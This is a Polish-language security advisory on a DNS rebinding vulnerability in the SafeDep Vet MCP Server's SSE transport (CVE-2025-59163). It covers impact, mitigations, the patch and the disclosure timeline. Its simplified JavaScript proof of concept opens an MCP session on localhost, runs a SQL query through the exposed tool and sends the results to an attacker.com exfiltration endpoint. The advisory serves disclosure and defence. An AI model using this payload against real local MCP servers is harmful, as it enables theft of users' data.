Autor: Evan Harris
Ryzyko: Niskie (CVSS 2.1/10)
Dotknięty komponent: SafeDep Vet MCP Server
Identyfikator CVE: CVE-2025-59163
Dotknięte wersje: < v1.12.5
Naprawione wersje: v1.12.5

Przegląd

SafeDep Vet MCP Server jest podatny na ataki typu DNS rebinding podczas pracy z transportem SSE. Podatność wynika z braku walidacji nagłówków HTTP Host i Origin, co pozwala złośliwym witrynom obejść zabezpieczenia zasady tego samego pochodzenia (Same-Origin Policy) i wykonywać nieautoryzowane wywołania narzędzi przeciwko instancjom Vet MCP.

Gdy DNS rebinding się powiedzie, atakujący może nawiązać sesję z punktem końcowym /sse, wywoływać włączone narzędzia MCP i wykraść zawartość bazy danych SQLite Vet użytkownika na serwer kontrolowany przez atakującego.

Zespół SafeDep zareagował na to zgłoszenie niezwłocznie, w ciągu kilku dni wydając poprawioną wersję (v1.12.5), która wprowadza walidację nagłówków Host i Origin z użyciem listy dozwolonych.

Inne narzędzia opisane na tej stronie zawodzą w ten sam sposób: Neo4j MCP Cypher Server podatny na przejęcie bazy danych za pomocą DNS rebinding i Serwer MCP Verify firmy Kluster naraża użytkowników na wyczerpanie kredytów.

Szczegóły techniczne

Podatność

Gdy serwer Vet MCP działa z transportem SSE (--server-type sse), udostępnia punkt końcowy HTTP, który akceptuje połączenia z dowolnego pochodzenia. Serwerowi brakuje walidacji:

  • Nagłówka HTTP Host - dopuszcza żądania podające się za pochodzące z dowolnej domeny
  • Nagłówka HTTP Origin - zezwala na żądania międzypochodzeniowe (cross-origin) ze złośliwych witryn

Ten brak walidacji umożliwia ataki typu DNS rebinding, w których:

  1. Atakujący kontroluje domenę z rekordami DNS o bardzo niskim TTL
  2. Ofiara odwiedza witrynę atakującego (np. attacker.com)
  3. JavaScript atakującego początkowo rozwiązuje się do adresu IP atakującego
  4. Po tym, jak przeglądarka ofiary zapisze połączenie w pamięci podręcznej, rekord DNS zostaje zmieniony na 127.0.0.1
  5. Kolejne żądania z attacker.com kierują się teraz do localhost ofiary
  6. Zasada tego samego pochodzenia przeglądarki zostaje obejściona, ponieważ pochodzenie pozostaje attacker.com

Podatna konfiguracja

Atak wymaga następujących warunków:

  • Zostaje wykonany skan Vet, a raporty są zapisywane do bazy danych
  • Serwer Vet MCP działa z włączonym transportem SSE
  • Atakujący wabi ofiarę na witrynę kontrolowaną przez siebie

Wektor ataku

Atakujący wykorzystuje DNS rebinding, aby:

  1. Nawiązać połączenie z http://127.0.0.1:9988/sse
  2. Uzyskać prawidłowy identyfikator sesji MCP
  3. Zainicjować sesję MCP
  4. Wywołać narzędzie vet_query_execute_sql_query z dowolnymi odczytowymi zapytaniami SQL
  5. Odbierać odpowiedzi za pośrednictwem strumienia SSE
  6. Wykraść dane na serwer kontrolowany przez atakującego

Scenariusz ataku

Konfiguracja ofiary

Badacz bezpieczeństwa lub programista:

  1. Instaluje Vet do skanowania podatności w zależnościach
  2. Uruchamia skan: vet scan -D /path/to/project
  3. Uruchamia serwer MCP z transportem SSE:
    ./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  4. Serwer domyślnie wiąże się z 127.0.0.1:9988

Wykorzystanie przez atakującego

Atakujący przygotowuje infrastrukturę DNS rebinding:

  1. Konfiguruje serwer DNS z rekordami wieloznacznymi (wildcard) dla domeny (np. rebinder.attacker.com)
  2. Konfiguruje serwer DNS tak, aby początkowo zwracał adres IP atakującego, a następnie przewiązywał do 127.0.0.1
  3. Hostuje złośliwą witrynę z kodem JavaScript, który:
    • Wykrywa, kiedy DNS rebinding się powiedzie
    • Łączy się z punktem końcowym SSE Vet pod adresem http://127.0.0.1:9988/sse
    • Nawiązuje sesję MCP
    • Wywołuje zapytania SQL przeciwko bazie danych ofiary
    • Wykrada wyniki

Przebieg wykorzystania

// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);

eventSource.onmessage = (event) => {
  if (event.data.includes('sessionId')) {
    const sessionId = extractSessionId(event.data);
    const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;

    // Initialize MCP session
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({ method: 'initialize' })
    });

    // Execute SQL query
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({
        jsonrpc: '2.0',
        method: 'tools/call',
        params: {
          name: 'vet_query_execute_sql_query',
          arguments: { sql: 'SELECT * FROM report_packages' }
        }
      })
    });
  } else {
    // Exfiltrate data received via SSE
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: event.data
    });
  }
};

Ofiara musi jedynie odwiedzić witrynę atakującego (np. poprzez odnośnik w wiadomości phishingowej, przejętą reklamę lub złośliwe zgłoszenie na GitHubie), podczas gdy jej serwer Vet MCP jest uruchomiony.

Ocena skutków

Naruszenie poufności

Główny skutek:

  • Pełny dostęp do odczytu bazy danych SQLite skanów Vet za pośrednictwem narzędzia vet_query_execute_sql_query
  • Ujawnienie informacji o podatnościach pakietów, w tym:
    • Nazw i wersji używanych pakietów
    • Znanych CVE dotyczących zależności ofiary
    • Ocen istotności i szczegółów podatności
    • Informacji wywiadowczych o łańcuchu dostaw oprogramowania

Wzmocnienie ryzyka:

  • Atakujący uzyskują informacje o podatnych pakietach w środowisku ofiary
  • Zależności i wersje pakietów ujawniają szczegóły stosu technologicznego
  • Informacje te mogą zostać wykorzystane do opracowania ukierunkowanych exploitów

Wymagania ataku

Czynniki ograniczające możliwość wykorzystania:

  • Wymagana aktywna interakcja użytkownika: Ofiara musi odwiedzić złośliwą witrynę
  • Okno czasowe: Serwer Vet MCP musi być aktywnie uruchomiony z transportem SSE
  • Wymóg konfiguracyjny: Ofiara musi jawnie uruchomić serwer z parametrem --server-type sse (a nie z domyślnym transportem stdio)
  • Oparte na przeglądarce: Atak wymaga nowoczesnej przeglądarki z obsługą EventSource

Czynniki te przyczyniają się do oceny niskiej istotności (CVSS 2.1/10) pomimo potencjału wykradania danych.

Zalecane środki zaradcze

Dla użytkowników (natychmiast)

  1. Zaktualizuj do wersji v1.12.5 lub nowszej:
    # Download the latest release
    wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz
    tar -xzf vet_Linux_x86_64.tar.gz
    ./vet --version  # Verify v1.12.5 or later
    
  2. Używaj transportu stdio (domyślnego):
    # Avoid using --server-type sse unless necessary
    ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  3. Izolacja sieci:
    • Uruchamiaj serwer MCP wyłącznie w zaufanych sieciach
    • Stosuj reguły zapory sieciowej, aby ograniczyć dostęp do portu 9988
    • Unikaj przeglądania niezaufanych witryn, gdy serwer jest uruchomiony

Dla programistów

Wprowadzone w wersji v1.12.5:

  • Walidacja nagłówka Host z użyciem listy dozwolonych
  • Walidacja nagłówka Origin w celu zapobiegania żądaniom międzypochodzeniowym
  • Odrzucanie żądań z nieprawidłowymi lub brakującymi nagłówkami bezpieczeństwa

Dobre praktyki dla implementacji serwerów MCP:

  • Zawsze waliduj nagłówki Host i Origin w transportach opartych na HTTP
  • Domyślnie wiąż się wyłącznie z localhost (127.0.0.1) zamiast z 0.0.0.0
  • Preferuj transport stdio zamiast transportów sieciowych, gdy tylko jest to możliwe
  • Dokumentuj konsekwencje bezpieczeństwa różnych trybów transportu
  • Wdrażaj rygorystyczne zasady CORS

Harmonogram ujawnienia

  • 2025-08-30: Wstępne zgłoszenie podatności przesłane do SafeDep
  • 2025-09-01: SafeDep potwierdza otrzymanie zgłoszenia
  • 2025-09-02: SafeDep otwiera pull request z poprawką wdrażającą walidację nagłówków
  • 2025-09-05: Wydana zostaje poprawiona wersja v1.12.5
  • 2025-09-29: Opublikowano GitHub Security Advisory, skoordynowana data ujawnienia potwierdzona przez obie strony
  • 2025-10-06: Opublikowano poradnik techniczny

Podsumowanie

Podatność DNS rebinding w serwerze Vet MCP pokazuje ważny aspekt bezpieczeństwa dla implementacji MCP: transporty sieciowe wymagają starannej walidacji nagłówków bezpieczeństwa HTTP, aby zapobiegać atakom międzypochodzeniowym.

Choć atak wymaga określonych warunków (aktywny serwer MCP z transportem SSE, ofiara odwiedzająca złośliwą witrynę, okno czasowe), potencjał wykradania danych uzasadniał odpowiedzialne ujawnienie i naprawę.

Reakcja SafeDep stanowi wzór odpowiedzialnych praktyk bezpieczeństwa:

  • Natychmiastowe potwierdzenie zgłoszenia
  • Szybkie opracowanie i wydanie poprawki (5 dni od zgłoszenia do wydania)
  • Skoordynowane ujawnienie za pośrednictwem GitHub Security Advisory
  • Jasna komunikacja przez cały proces

Wszyscy użytkownicy uruchamiający serwer Vet MCP z transportem SSE powinni natychmiast zaktualizować do wersji v1.12.5. W większości przypadków użycia domyślny transport stdio zapewnia bezpieczniejszą alternatywę.

Odnośniki